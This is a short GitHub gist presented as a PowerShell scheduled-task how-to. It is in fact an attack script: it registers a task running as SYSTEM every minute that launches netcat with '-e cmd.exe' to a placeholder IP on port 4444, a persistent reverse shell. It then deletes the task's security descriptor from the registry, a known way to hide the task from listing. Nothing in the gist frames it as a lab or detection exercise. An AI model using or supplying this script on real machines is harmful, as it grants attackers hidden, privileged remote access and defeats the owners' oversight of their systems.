Skip to content

Instantly share code, notes, and snippets.

@timsonner
Last active January 27, 2025 04:49
Show Gist options
  • Select an option

  • Save timsonner/6a85edeae946bb4436025cfdc23c45e2 to your computer and use it in GitHub Desktop.

Select an option

Save timsonner/6a85edeae946bb4436025cfdc23c45e2 to your computer and use it in GitHub Desktop.
PowerShell. This way seems less wonky...

Creating a scheduled task with PowerShell

# Create scheduled task
$taskAction = New-ScheduledTaskAction -Execute "c:\tools\nc64" -Argument "-e cmd.exe x.x.x.x 4444"
$startTime = (Get-Date).AddMinutes(1)
$taskTrigger = New-ScheduledTaskTrigger -Once -At $startTime -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration ([TimeSpan]::FromDays(1))
$taskPrincipal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$taskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
$task = New-ScheduledTask -Action $taskAction -Principal $taskPrincipal -Trigger $taskTrigger -Settings $taskSettings
Register-ScheduledTask -TaskName "Netcat-Scheduled-Task" -InputObject $task
# Get info about the task
Get-ScheduledTask -TaskName "Netcat-Scheduled-Task"
# Remove security descriptor of task
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\$(Read-Host "Service name")" "SD"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment